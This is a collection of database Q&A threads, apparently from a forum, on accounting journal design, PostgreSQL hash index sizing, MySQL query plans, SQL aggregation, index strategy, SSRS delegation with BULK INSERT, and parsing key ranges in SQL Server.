This presentation was standard for hundreds of years until personal computers became affordable a couple of decades ago. It has a significant advantage of easily verifying that every transaction is balanced by simply checking  each row. Likewise, prior to posting a page of such transaction to the Ledgers the page totals could be similarly verified. That is a batch-processing model used in many accounting systems.

It is easy to see that this paper model has significant disadvantages when literally transcribed to an automated system:

The data structure is a pivoted one, whereas experience has shown that it is much simpler (also more robust and more easily verified) to program against a folded data structure; and
Because every specialized Journal hits a different set of accounts,  each such Journal would have to be separately designed and programmed, a wasteful and error-prone activity.

For these reasons it is generally recommended to use the Specialized Journals design as the interface to the accounting system, but to design a data structure that can be the numerical repository for multiple journals. In a modern RDBMS this has the potential advantage that the General Ledger, and even the specialized subledgers, can become Indexed Views on the Journal, completely eliminating the requirement to code a Posting Process (the step where a Journal transaction is locked and has its account totals transcribed to the various ledgers).

Whatever data design you end up with, the key is to have a single Posting Entry for each transaction type (ie each specialized Journal in the equivalent paper system) where balance checks are made.

My point is that both approaches you propose are unsound mechanisms for double-entry bookkeeping. First point: Journals are write-once tables for very good reasons. Sometimes the two virtual tables Pending Entries and Posted Entries are collocated in a single data structure, but the IsPosted bit is always write-only and the system must ensure that the read-only nature of the Posted Entries records is maintained.

The way accountants have posted Journal Entries for the past 800 years is fully normalized. The only difference between a paper presentation and a sound electronic presentation is that a folded table structure is more convenient in the latter case while a pivoted table structure in the former, which historically was most significant when highly parallel processing was desired - i.e. many clerks each maintaining a single or small number of specialized journals. Only the Controller historically had permissions for the General Journal.

Note carefully that in the above I specified that Journal Entries are fully normalized; Journal Entries are a chronological record of all transactions, grouped in Journals specific to each transaction type. The posting of journal entries to the Ledgers is a separate endeavour and, while fully normalized on its own, is a redundant copy of the journal entries where all transactions are summarized (General Ledger) or detailed (Sub Ledger) by account. Both Journals and Ledgers employ double-entry bookkeeping independently.

@Codism Any accounting system, DEB or SEB, give you generalized reporting for all accounts recorded. Note that, internally, a sub-ledger is by definition a single-entry bookkeeping record; the other side is the corresponding control account(s) on the Balance Sheet. DEB ensures that for every asset dollar there is a precise record of the business claim on the asset, i.e. the equity in the asset whether it be a debt equity (aka liability) or an ownership equity, and of the priority of those claims if the organization becomes insolvent.


Why are partial PostgreSQL HASH indices not smaller than full indices? I want to create the most efficient index for a sparsely populated column. I only need equality operations, so a HASH index should be beneficial.

Now I'm wondering why a partial HASH index isn't smaller than a full hash index:

CREATE INDEX full_hash    ON mytable USING HASH(my_id); # 256 MB
CREATE INDEX partial_hash ON mytable USING HASH(my_id) WHERE my_ID IS NOT NULL; # 256 MB

CREATE INDEX full_btree    ON mytable (my_id); # 537 MB
CREATE INDEX partial_btree ON mytable (my_id) WHERE my_ID IS NOT NULL; # 32 MB

Both hash indices take exactly the same amount of space (as shown in pgHero). However, when using standard BTREE indices, the partial index takes only 5% of the space of the full index.

Are partial HASH indices not supported in PostgreSQL 10?

I would argue that this is a bug in the hash index code.  When you create an index on an already-populated table, it tries to pre-size the index to hold all the data so that it doesn't have to keep splitting buckets as the index is created.  But the code for doing this does not take the NULL fraction of the column nor (apparently) the selectivity of the partial index clause into account, so it arrives at a too-large number for the pre-sizing.

If you were to create the index first, and then populated the table, you will find that the hash index is small, whether you made it partial or not.  If the table is going to grow substantially after the index is created, the extra space consumed by the index upon original creation will be put to good use.


Identical query, tables, but different EXPLAIN and performance I have two tables levels and users_favorites

+--------------------+--------------+------+-----+---------+-------+
| Field              | Type         | Null | Key | Default | Extra |
+--------------------+--------------+------+-----+---------+-------+
| id                 | int(9)       | NO   | PRI | NULL    |       |
| user_id            | int(10)      | NO   | MUL | NULL    |       |
| level_name         | varchar(20)  | NO   |     | NULL    |       |
| user_name          | varchar(45)  | NO   |     | NULL    |       |
| rating             | decimal(3,2) | NO   |     | 2.50    |       |
| votes              | int(5)       | NO   |     | 0       |       |
| plays              | int(5)       | NO   |     | 0       |       |
| date_published     | date         | NO   | MUL | NULL    |       |
| user_comment       | varchar(255) | YES  |     | NULL    |       |
| playable_character | int(2)       | NO   | MUL | 1       |       |
| is_featured        | tinyint(1)   | NO   | MUL | 0       |       |
+--------------------+--------------+------+-----+---------+-------+

+----------+--------+------+-----+---------+-------+
| Field    | Type   | Null | Key | Default | Extra |
+----------+--------+------+-----+---------+-------+
| user_id  | int(8) | NO   | PRI | NULL    |       |
| level_id | int(8) | NO   | PRI | NULL    |       |
+----------+--------+------+-----+---------+-------+

I have my local dev environment and the production servers. This query:

SELECT id, level_name, date_published, rating
FROM levels
WHERE id IN (SELECT level_id FROM users_favorites WHERE user_id = 2);

runs very fast locally (around 0.0x seconds) and very slow on production (~15 seconds). The EXPLAIN's are different. On local:

id  select_type table   type    possible_keys   key key_len ref rows Extra
1   SIMPLE  users_favorites ref uniq_user_level,idx_user    idx_user    4   const   21  "Using index"
1   SIMPLE  levels  eq_ref  PRIMARY PRIMARY 4   users_favorites.level_id    1   "Using where"

And on production:

id  select_type table   type    possible_keys   key key_len ref rows    Extra
1   PRIMARY levels  ALL NULL    NULL    NULL    NULL    3368988 "Using where"
2   "DEPENDENT SUBQUERY"    users_favorites eq_ref  uniq_user_level,idx_user    uniq_user_level 8   const,func  1   "Using index"

I know the data is the the same because it was imported and exported from the same schema. I've run OPTIMIZE and made sure the indexes are the same, tried forcing the indexes. Nothing worked.

The only difference I can spot is the version of MySQL: locally it's 5.6.10, on production it's 5.5.34-log. If that's the reason, I'll upgrade, but I'm wondering if there could some other reason? Or way to phrase the query so it always reduces by the subquery first, as it does locally: 21 rows instead of 3368988?

TIA

Just make a simple join. Sub-queries does not provide the best result quite often

EXPLAIN SELECT l.id, l.level_name, l.date_published, l.rating
FROM levels AS l
INNER JOIN users_favorites AS uf
ON uf.level_id = l.id
WHERE l.user_id = 2;


Mysql crashes in amazon linux We are trying to drop tables from mysql that is installed in amazon linux which the os is not able to handle and is very slow, mysql crashes as well or goes to the defunct mode. We have tried to execute the same on centos5.5 but the process was very fast and the mysql did not crash. The mysql configuration are the same on both the servers. Kindly tell us why this scenario happens ??.

Check the log file, where the error was written on disk or check in the event viewer log


Finding the total sum of salary for person who worked at least two years Employee table

So, I am looking for a result with Name, salary and age - Salary should be the sum of all he earned, also it should be calculated only for person who has worked more than a year

For Example employee Sunny worked totally 4 years whereas Arpita worked only one year

I tried group by name and calculated totally earning but not able to find only for person who worked for more than a year, I mean at least two years

select name as [Name of Employee], sum(salary) as [Salary Earned] from Employee group by name;

Try this:

SELECT name AS [Name of Employee],
    SUM(salary) AS [Salary Earned]
FROM Employee
GROUP BY name
HAVING MAX(year) > 1;

This will exclude those records whose maximum "year" having is 1, basically those who have not been employed for more than 1 year.


What index strategy to use to improve multi-condition SELECT? As far as I understand, indexes should be selected on fields with high cardinality of data - e.g. sex only has two values ( male and female ) so low cardinality, whereas something like sha256sum field would be many varied strings, so high cardinality of data. That makes sense that it improves searching with simple SELECT * from table_foo WHERE foo = 'bar'; type of query. But if I have something like SELECT * from table_foo WHERE foo = 'bar' and baz > 42; how do I construct an index to improve performance ? Do i provide multiple fields to index ? Do I create two different indexes ?

I'm working with SQLite, but the topic isn't SQLite specific. However, SQLite is minimalist so if there's certain things to be kept in mind for this specific database that'd be also good to know.

Privet Sergiy,

Index design and cost based query optimizers are complicated subjects, and this isn't the place to cover all aspects, so I will address your specific question.

To satisfy the WHERE clause, the 'optimal' index for your query example might be a composite index on (foo, baz). Why?

Think about a phone book directory, and foo and baz as last name and first name respectively. Let's say you are looking for all records in the phone book where the last name is 'doh', and the first name > 'John'. The composite index on last name, first name the phone directory uses allows you to quickly navigate to the 'doh' section, find the first 'John', and from there just follow the list one by one until you exhaust all 'Doh' last names. Could you do it with an index just on Last name? yes.. but you would need to scan all 'Doh' records. An index on First name only, means you have to scan all 'John's, and all following first names to find your 'Doh's.

If your table consists of just foo and baz, it's a no-brainer.
That said, the fact that your SELECT list uses a *, means that if the index doesn't contain all the data to satisfy the query, an additional 'lookup' will be needed for each row to get the rest of the columns.
This would be similar to an index at the end of the book, that has a pointer to the relevant page. You could potentially include all columns of the table in the index, but that may cause challenges for data modifications and bloat database size.

The optimizer now needs to decide between using the index, and performing potentially many 'lookups', and if it assumes there will be many of those, it may decide to simply scan the whole table and avoid the lookups.
This is why cost based optimizers require statistics on the columns to make the right decisions, some engines such as SQL Server also store complete histograms of value distribution for better accuracy.

Different RDBMS engines will handle this differently, so look for resources specific to the engine you are using.

HTH


Delegation: Bulk Insert failed when executed from SSRS dataset but success from SSMS I've configured delegation for SQL server engine and SSRS and it works fine.
SQL Server (2017) engine and SSRS installd on the same machine. Let's call it SqlSrv1.
What we should attain to:
User opens a report with a dataset which joins a database data and an external shared file (with sensitive data) via impersonation. If user has no access to a shared file, report should display him an empty sensitive columns.

When I execute BULK INSERT via SSMS, something like

BULK INSERT #t1 FROM '\\FS1\common\anyfile.txt'

it works fine. Computer Management shows my name (instead of sqlengine service account) in "Shared folders\Sessions" as User and SqlSrv1 as Computer.

Now when I execute BULK INSERT from SSRS report dataset against a local file (stored on SqlSrv1 C:\anyfile.txt) it works and ProcMon displays my name in Detail column, instead of ssrs service account.

At last I execute BULK INSERT from SSRS report dataset against a shared file \\FS1\common\anyfile.txt and I get error Operating system error 5(Access is denied.), but ProcMon displays my name in Detail column as Impersonating.

There is a something strange I've located:
When I change Data Source in connection string of dataset to FQDN, BULK INSERT begones to work from SSRS. After that I change back Data Source to NetBIOS but BULK INSERT continues to work. What is going on?
All fine and dandy, but after restart SSRS service I get error Operating system error 5(Access is denied.) again.
When I execute the query from the step 1, ProcMon shows me the path
\\FS1\common\\anyfile.txt (with double slash after shared folder name! What?!!)
instead of
\\FS1\common\anyfile.txt
When I get error 5, ProcMon shows
\\FS1\common\anyfile.txt (without double slash)
But when the step 3 begones to work (after FQDN manipulations), OMG! The ProcMon shows me
\\FS1\common\\anyfile.txt (with double slash)
and after SSRS service restart I see in ProcMon
\\FS1\common\anyfile.txt (without double slash)
I've tryed to add double slash to BULK INSERT, but with no luck, SQL engine drops it (as expected).
Have you any ideas?

I'm glad I asked what your end goal was. I was going to reply in a comment but it turned into too long of a response.
Your best bet is honestly to close this question and ask a new one on "best ways to implement data encryption and obfuscation across multiple databases?" with details on each type of data system you're using. There's a multitude of ways to accomplish what your customer wants with out-of-the-box features of SQL Server without rigging together a roundabout solution.
One of them is Encryption another is Dynamic Data Masking, and finally understanding proper Permissioning in SQL Server are all standard and potential ways to hide your customer's data, even from developers.
All three of those previously mentioned plus many other features, are applicable to the databases that are utilized by the systems you mentioned (SQL Server version dependent).


Parse a column with a "range" in a WHERE in SQL Server I'm querying a table that has several alphanumeric key columns...

KEY1  KEY2  KEY3 ... SOMEDATA  SOMEOTHERDATA...
s001
s002
s003  s004  s005
s006

The keys are the PK from another table we need to join on, which is annoying but not difficult. But then they decided to do this...

s010-s105

Which means s010, s011...s015. Is there any way to do a query that breaks this out so I can find a given key, say s013, in these columns?

Alright, please don't hate me for this query, because I'm sure there are far better ways to do this (starting by fixing this design). With the sample data that you posted, this query should give you every key in the original table as a single column (KEY_Unified):

WITH CTE AS
(
    SELECT *
    FROM dbo.YourTable t
    CROSS APPLY
    (
        VALUES
            (t.KEY1),
            (t.KEY2),
            (t.KEY3)
    ) x (KEY_Unified)
    WHERE x.KEY_Unified IS NOT NULL
), CTE2 AS
(
    SELECT  KEY_Unified,
            CAST(RIGHT(LEFT(KEY_Unified,CHARINDEX('-',KEY_Unified,0)-1),3) AS INT) Start,
            CAST(RIGHT(SUBSTRING(KEY_Unified,CHARINDEX('-',KEY_Unified,0)+1,4),3) AS INT) Finish
    FROM CTE
    WHERE KEY_Unified LIKE '%-%'
), CTE3 AS
(
    SELECT 's' + RIGHT('000' + CAST(B.number AS VARCHAR(3)),3) KEY_Range, CAST(B.number AS VARCHAR(3)) n
    FROM CTE2 A
    CROSS JOIN (SELECT *
                FROM master.dbo.spt_values
                WHERE type = 'P') B
    WHERE B.number BETWEEN A.Start AND A.Finish
), CTE4 AS
(
    SELECT KEY_Unified
    FROM CTE
    WHERE KEY_Unified NOT LIKE '%-%'
    UNION
    SELECT KEY_Range
    FROM CTE3
)
SELECT *
FROM CTE4 t1
LEFT JOIN SomeOtherTable t2
    ON t1.KEY_Unified = t2.SomeKey
;

There are a couple of assumptions though.

The only kind of range you can have is this kind: s001-s100, you can't have s001-s100,s005-s006  for instance
Every key has a 4 char length, starting with s001 till s999